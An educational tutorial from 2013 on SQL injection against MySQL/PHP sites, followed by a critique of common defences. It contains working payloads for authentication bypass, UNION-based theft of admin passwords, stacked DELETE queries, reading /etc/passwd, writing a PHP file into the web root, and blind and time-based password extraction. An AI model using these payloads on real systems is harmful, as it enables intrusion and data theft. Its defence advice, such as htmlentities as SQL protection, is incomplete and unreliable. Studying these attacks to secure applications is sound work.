SQL Injections

Kevin Hagner
jsaipakoimetr@spyzone.fr

May 28, 2013

SQL is a very powerful language that allows webmasters to create almost every query that they can imagine. But this power can also be used against them. Mostly, webmasters aren't aware of all risks that they take just by putting some dynamic *SQL* queries in a script that uses some variables that can be modified by users.

We will present here some of the most common *SQL* attacks that occur on poor quality website. We will use *MySQL* that runs through *PHP*, but because *SQL* is a standard, all this feature works also with other database management system, and of course, with scripts that are with something else than *PHP*.

Kinds of injections

Fake authentication

It's the easiest to do, but also the less dangerous. They are used usually for bypassing an authentication system by short-circuiting some verification conditions. For example, we can use this *SQL* query in a *PHP* script that can be used for checking if one admin correctly identify himself on a website:

```
SELECT * FROM admins WHERE login=
    '$login' AND password='$password'
```

We just have to test the length of the result for knowing if someone was correctly authenticated: if the result is null, the *$login* and *$password* variables are not a good couple. But if the result is one, it means that one row in the database was found in the condition, so that the user is correctly authenticate.

It's a good way if the user use normal value, like *$login* = *Georges* and *$password* = *IAmGod*. But what happens if the user puts, for example `'OR 1=1#` in the *$password* variable? The *SQL* query that will be executed will be:

```
SELECT * FROM admins WHERE login=
    'Georges' AND password='' OR 1=1#'
```

Here, *Georges* will be authenticated if his password is empty, or if 1=1. Of course, 1 always equals 1. So now, you actually only need an administrator login for being able to connect with his account, that is usually extremely simple to get.

If you are wondering why we put a sharp at the end of the entry, it's for putting into a comment the end of the hard coded sql query in the script. In this case, it's for ignoring the original quote that is supposed to be use for closing the *password* parameter.

Catching data

We previously saw how easy it was to authenticate ourself with all existing accounts. But how are we supposed to work if we want to catch data, instead of creating a session on the website? Let's imagine that a website uses this query for displaying informations about one member:

```
SELECT firstName, lastName FROM members
    WHERE idservice='$idservice'
```

We just need to guess that the two fields returned by the query are named *firsName* and *lastName* for displaying what we want. We can put content in *$idservice* for creating a query like this one:

```
SELECT firstName, lastName FROM members
    WHERE idservice=-1 AND 1=1
    UNION SELECT login AS firstName,
    password AS lastName
    FROM admins WHERE 1=1#'
```

Double queries

We can't use this technique with *PHP* or *Java*, but with other languages that are more free with the user like *ASP*, you are allowed to build more than one *SQL* query in one single *SQL* connection. This can result to huge weaknesses because the user won't have any restriction by the *SQL* language.

Here are some queries that will works if the website is coded in *ASP.NET* and that the *$idservice* variable is not secured:

```
SELECT firstName, lastName FROM members
    WHERE idservice=1; ALTER news
    SET content='Database␣hacked!'
```

```
SELECT firstName, lastName FROM members
    WHERE idservice=1; DELETE
    FROM members WHERE 1=1
```

File manipulation

Did you know that *MySQL* and other *DBMS* [1] are even able to manage files? The user connected to the database just needs the *FILE* privilege for accessing all files that the *DBMS* are allowed to read and write by the operating system in which it is running. [2] Hopefully, this permission is usually set off by default. But some frameworks need the permission, so keep this weakness in mind.

```
SELECT fName, lName FROM members
   WHERE idservice=1 UNION SELECT
   LOAD_FILE('/etc/passwd') AS fName
```

```
SELECT firstName, lastName FROM members
   WHERE idservice=1 UNION SELECT
   '<a php script>' INTO OUTFILE
   '/var/www/website/footer.php'
```

By the way, it's also not a great idea to just use the:

```
GRANT ALL ON database_name.*
   TO user_name;
```

statement for granting privileges to one user that will manage the database because we are too lazy for just writing the privileges that the user will effectively need.

Attacks conditions

In this part, we will see in which context the *SQL* query is executed. Indeed the difficulty of the injection doesn't depend of this. It's the fact that we can check the result that depends on this element.

Seeing injection

The easiest one is when the query that we hack is used for displaying an undefined number of entries on the screen, like when you want to display all members of one team.

Usually, you do a query that will fetch all data in the database, and afterwards you do a loop that will display all element until the last one.

So you just can create a double query, with *UNION SELECT* for example, for displaying at the end of the expected content, the one that we want to see (the section *catching data* explains this).

Partially blind injection

Partially blind injections are when the algorithm won't directly print the result of a *SQL* query to the user. Actually, the only thing that we can show with this query is usually if the query was correctly executed or not: if the displaying content is good, it means that the query was right. If errors appears that mean that something wrong occurred.

Partially blind injections are the ones that we use when we try to do something with authentication form (because the only information that we usually get are if the login was good, wrong, or a execution error).

But it's not because we can't directly displaying a content to the screen that the break is less exploitable. Look at this query:

```
SELECT title, content FROM articles
   WHERE id = -1
   UNION SELECT 'test', 'injection'
   FROM users WHERE
   login='kevin' AND
   substr(password, 1, 1) ='e';
```

What we do in a first time is to invalidate the content that should be fetch by inserting a wrong article id. We can so use our unique entry in the second statement, introduced thanks to the *UNION SELECT*.

We will now create our second query that will return *test* and *injection* if the condition is true, so if the first letter of Kevin's password is a *e*. We just have to look if the webpage will display an article with the test title and injection as the body or a blank one for knowing if the query was true or not.

It seems quite boring to try to guess a password by this way, but keep in mind that a small program that will crack it automatically can easily be done.

Blind injection

Blind injections occurs when nothing is displayed at the screen. The aim in this case can be to transform the query in a partially blind injection, like the one that we show previously. A common technique is to use the *blind timing injection attack* that play with the time that take the server for executing the query. Let's look at this example:

```
SELECT id FROM table WHERE param = -1
   UNION SELECT IF (
      substr(password, 1, 1) = 'e', 1,
      benchmark(200000, md5('word')))
   FROM users WHERE login='kevin';
```

If the condition is true, the query will simply return 1. But if it's false, the query will compute 200 000 the md5 hash of *word*, so it will take much more time. So now, we are able to deduce if a query is good or wrong just by checking how long take the query for begin done.

[1] *DBMS* is the abbreviation for: DataBase Management System.

[2] It seems that the *LOAD_FILE* function used by *MySQL* is not working very well on *Linux*. Be careful if you experiment some troubles by using it. – `http://bugs.mysql.com/bug.php?id=38403`

(False) defense solutions

Escaping quotes

Probably the most dangerous solution, because it give to the webmaster the false feeling to have a secure algorithm. Indeed, we don't need any quotes for executing injections queries in a variable that will be interpreted by *SQL* like a number. We can use the example of a script that will display an article in function of one *id*:

```
SELECT title , content FROM news
   WHERE id=$idArticle;
```

We just have to insert in *$idArticle* content for crafting this query:

```
SELECT title , content FROM news
   WHERE id=1 AND 1=0 UNION SELECT
    1,2 FROM user WHERE login=
       char(107,101,118,105,110)
   AND substr(password, 1, 1) =
       char(101);
```

for doing exactly the same thing that the query presented in the *Partially blind injection* part, without a single quote.

If your variable has to be interpreted like a string (so with quotes around it in the *SQL* query, the escaping quotes method can be quite ok. But keep in mind that weakness can occurred because of charsets interferences. If *GBK* (Chinese encoding) is used, it's possible in some conditions to bypass the *addslashes()* function, or other that has the same works: escaping quotes and double-quotes.[3] Setting your *DBMS* and your web site to use UTF-8 or any ISO-x charsets should fix the weakness.

Translating string

The second solution, and little bit more secure, is to translate the data that is inserted by the client in an other language that is not interpreted by the *SQL* server as special characters. It's what does, for example, the *htmlentities()*[4] *PHP* function.

If you try to put a double quote in a string translated by *htmlentites*, you will obtain in return: *&quot;*, a characters suite that is not interpreted by the server.

The good point of translation is that usually, your browser is smart enough for recognizing this *HTML* codes. So the user can still continue to use this characters in a normal context (yes, quotes can also be used for writing text, not only *SQL* injections ☺) and they will continue to be well displayed.

Finally, keep in mind that translation only protect your strings! The previous query use in the *Escaping quotes* section will works exactly as good with the *htmlentities* protection that without.

Testing data before using it

All user input is evil, until proven otherwise. — So test data before using it is a quite efficient way for avoiding injections: testing if the variable is a correct integer before using it for displaying an article with an id, etc.

It's one of the best solution that we can use for protecting variable that represents a number (so without any quotes).

Use enumerations

If you use variables for choosing one entry between a known list, you can create an enumeration that will force the user to choose a valid value. For example, you can use an enumeration that can take the value: *reader*, *author*, *admin* for defining the grade of an user instead of an integer that can theoretically have infinite values. So when a script has to deals with one value that should uses this kind of variables, we just need to test if the content of the given one is included in the enumeration or not.

Proactive protection

Some securities extensions like *mod_security* for *Apache* can be added to the web server for trying to block injections before they happens. Unfortunately, because protections like that works mostly on regular expressions or specific attacks patterns, it's almost impossible to block everything.

It's a nice method for being keeping in touch when an attack occurs on your server because you will probably have some warnings, but it's not a good idea to completely trust this system.

References

[1] Hakipedia. http://hakipedia.com/.

[2] Under your hat. http://underurhat.com/.

[3] Friz_N. Bases hacking. http://bases-hacking.org/.

[3]More informations about the *GKB* weakness in this *Hakipedia* article. – `http://hakipedia.com/index.php/SQL_Injection#Filter_Bypassing`

[4]Be careful with *PDO* that is also wrongly consider as a very secure protection method. – `http://stackoverflow.com/questions/134099/are-pdo-prepared-statements-sufficient-to-prevent-sql-injection`